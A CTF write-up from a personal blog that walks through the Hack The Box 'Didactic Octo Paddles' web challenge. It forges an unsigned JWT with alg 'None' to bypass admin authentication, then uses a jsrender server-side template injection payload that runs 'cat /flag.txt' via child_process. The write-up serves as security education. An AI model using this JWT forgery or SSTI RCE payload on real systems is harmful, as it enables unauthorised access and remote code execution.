forbytten blogs

Didactic Octo Paddles walkthrough - Cyber Apocalypse 2023

Last update:

1 Introduction

I previously wrote about participating in the Hack The Box Cyber Apocalypse 2023 CTF (Capture the Flag) competition.

This walkthrough covers the Didactic Octo Paddles challenge in the Web category, which was rated as having a ‘medium’ difficulty. This challenge is a white box web application assessment, as the application source code was downloadable, including build scripts for building and deploying the application locally as a Docker container.

The description of the challenge is shown below.

Didactic Octo Paddles description

The key techniques employed in this walkthrough are:

2 Mapping the application

2.1 Mapping the application via interaction

  1. The target website was opened in the Burp browser, which redirected to a login form at /login

    The website redirects to a login form

2.2 Mapping the application via source code review

  1. Examination of the server side source code indicates there is a /register route that supports both GET and POST methods:

    Server side source code reveals GET and POST /register routes
  2. Opening /register in the browser reveals a registration form

    Registration form opened in the browser at /register
  3. Attempting to register as the admin user reveals the username exists. This indicates the site is vulnerable1 to username enumeration, which is a specific instance of the common weakness CWE-204: Observable Response Discrepancy. However, as CWE-204 indicates, this weakness can either be “inadvertent (bug) or intentional (design)”.2

    A POST request to /register with admin:admin discloses the username exists
  4. In a terminal, a UUID v4 was generated in order to obtain a universally unique value

    $ uuid -v4
    c5a76a8f-9deb-410d-9319-ed9810e16cd7

    The UUID was used to register a new user. The approach of using a UUID ensures the registered user will not be confused with any pre-existing user during any subsequent testing that manages to dump or enumerate users.

    POST to /register to register a username and password set to a UUID v4 value
  5. Logging in as the self registered user revealed an eCommerce page selling Didactic Octo Paddles

    Didactic Octo Paddles eCommerce page displayed after logging in as a self-registered user

    The corresponding login request was observed in Burp as issuing a cookie that appears to have the structure of a JWT(JSON Web Token)

    The login request issued a cookie that appears to be a JWT

3 Vulnerability analysis - authentication

3.1 Decoding the login JWT

  1. The cookie set by the /login response was successfully decoded as a JWT. The claims notably contains an id of 2. Given that the application was confirmed to have an admin user, it is likely the admin user’s id is 1.

    $ echo -n 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiaWF0IjoxNjc5MjAwOTQ0LCJleHAiOjE2NzkyMDQ1NDR9.zwKj7VjJAafpNjrj2E4Q2AywMdwpAPuSut-VhqtIEdE' | jwt -show -
    Header:
    {
        "alg": "HS256",
        "typ": "JWT"
    }
    Claims:
    {
        "exp": 1679204544,
        "iat": 1679200944,
        "id": 2
    }

3.2 Manual source code review - JWT verification code

  1. The JWT is verified on lines 16 and 27 in challenge/middleware/AdminMiddleware.js by calling the npm jsonwebtoken verify function. If the algorithm in the header is not ‘none’ (line 13) or ‘HS256’ (line 15), line 27 calls the verify function with a null secretOrPublicKey parameter, which looks suspicious.

    AdminMiddleware.js verifies the JWT using a null secretOrPublicKey if the algorithm is not ‘none’ or ‘HS256’

    Furthermore, AdminMiddleware is used to verify the JWT for the /admin route:

    AdminMiddleware is used to verify the JWT for the /admin route
  2. To determine if it is possible to find a valid JWT algorithm which may be used to bypass the ‘none’ and ‘HS256’ checks whilst successfully passing verification using a null secretOrPublicKey, the source code of the jsonwebtoken module was examined as follows

    1. All the dependencies were installed in the challenge directory

      $ npm install
      npm WARN deprecated @npmcli/move-file@1.1.2: This functionality has been moved to @npmcli/fs
      
      added 226 packages, and audited 227 packages in 36s
      
      15 packages are looking for funding
        run `npm fund` for details
      
      found 0 vulnerabilities
    2. node_modules/jsonwebtoken/verify.js delegates verification to the jws module on line 165:

      try {
        valid = jws.verify(jwtString, decodedToken.header.alg, secretOrPublicKey);
      } catch (e) {
        return done(e);
      }
    3. node_modules/jws/lib/verify-stream.js delegates extraction of the algorithm to the jwa module on line 53

      function jwsVerify(jwsSig, algorithm, secretOrKey) {
        if (!algorithm) {
          var err = new Error("Missing algorithm parameter for jws.verify");
          err.code = "MISSING_ALGORITHM";
          throw err;
        }
        jwsSig = toString(jwsSig);
        var signature = signatureFromJWS(jwsSig);
        var securedInput = securedInputFromJWS(jwsSig);
        var algo = jwa(algorithm);
        return algo.verify(securedInput, signature, secretOrKey);
      }
    4. node_modules/jwa/index.js parses the algorithm on line 242 using a regular expression. Crucially, although the RFC7518 JSON Web Algorithms (JWA) specification refers to an algorithm of ‘none’, the code validates the value in a case insensitive manner due to the i flag at the end of the regular expression. Furthermore, RFC7518 states:

      ‘An Unsecured JWS uses the “alg” value “none” and is formatted identically to other JWSs, but MUST use the empty octet sequence as its JWS Signature value’

      Thus, it is theorized that the JWT verification code in AdminMiddleware.js may be bypassed by specifying an algorithm of “None”, with a capitalized “N” and providing an empty signature - in other words, an empty value after the last . in the JWT.

      module.exports = function jwa(algorithm) {
        var signerFactories = {
          hs: createHmacSigner,
          rs: createKeySigner,
          ps: createPSSKeySigner,
          es: createECDSASigner,
          none: createNoneSigner,
        }
        var verifierFactories = {
          hs: createHmacVerifier,
          rs: createKeyVerifier,
          ps: createPSSKeyVerifier,
          es: createECDSAVerifer,
          none: createNoneVerifier,
        }
        var match = algorithm.match(/^(RS|PS|ES|HS)(256|384|512)$|^(none)$/i);
        if (!match)
          throw typeError(MSG_INVALID_ALGORITHM, algorithm);
        var algo = (match[1] || match[3]).toLowerCase();
        var bits = match[2];
      
        return {
          sign: signerFactories[algo](bits),
          verify: verifierFactories[algo](bits),
        }
      };

4 Exploitation - forging a JWT to authenticate as the admin user

  1. A JWT header with the algorithm of “None” was created:

    $ echo -n '{"alg":"None","typ":"JWT"}' | base64 -w0
    
    eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0=
  2. A JWT body with an id of 1 and a large expiry time was created. Specifying a large expiry time can avoid issues with the server rejecting the forged JWT due to the expiry time having passed.

    $ echo -n '{"iat":1679204544,"exp":5000000000,"id":1}' | base64 -w0
    eyJpYXQiOjE2NzkyMDQ1NDQsImV4cCI6NTAwMDAwMDAwMCwiaWQiOjF9
  3. The forged JWT with an empty signature was thus formed by concatenating the header, body and an empty signature, delimited by periods:

    eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0=.eyJpYXQiOjE2NzkyMDQ1NDQsImV4cCI6NTAwMDAwMDAwMCwiaWQiOjF9.
  4. In the browser, the forged JWT was set into the session cookie and the /admin route requested successfully. The resulting page displayed active usernames - in this case, the admin user and the self-registered c5a76a8f-9deb-410d-9319-ed9810e16cd7 user

    Forged JWT used as the session cookie successfully granted access to the /admin route

5 Vulnerability analysis - Server-side template injection vulnerability

Further manual review of the server side source code revealed the /admin route is vulnerable to a SSTI (server-side template injection) vulnerability which corresponds to the common weakness CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine. This vulnerability arises due to the usernames being used to create a jsrender template via the jsrender.templates function. Given an attacker can register users, an attacker can control the usernames rendered in the admin page.

In terms of mitigating this type of vulnerability, whilst OWASP does not have a cheetsheet specifically about mitigating SSTI vulnerabilities, OWASP does provide generic Injection Prevention Rules. Furthermore, attacker controlled input should never be used to create the template itself - only as potential data to be rendered by a template.

SSTI (server-side template injection) vulnerability due to attacker controlled input being used to create a jsrender template

6 Exploitation - RCE(Remote code execution) via SSTI

  1. The following jsrender SSTI payload from HackTricks was submitted as the username to the /register endpoint. The only modification made was to change the executed command to read the /flag.txt file and print it to standard out

    {{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt').toString()")()}}
    POST to /register with an RCE SSTI payload in the username field which reads the /flag.txt file
  2. When the /admin page was viewed as the admin user, the flag was returned in the response, indicating the SSTI payload had been executed during rendering of the page

    Viewing the /admin page after delivery of the RCE SSTI payload revealed the flag
    Burp response for the /admin page after delivery of the RCE SSTI payload revealed the flag

7 Conclusion

The flag was submitted and the challenge was marked as pwned

Submission of the flag marked the challenge as pwned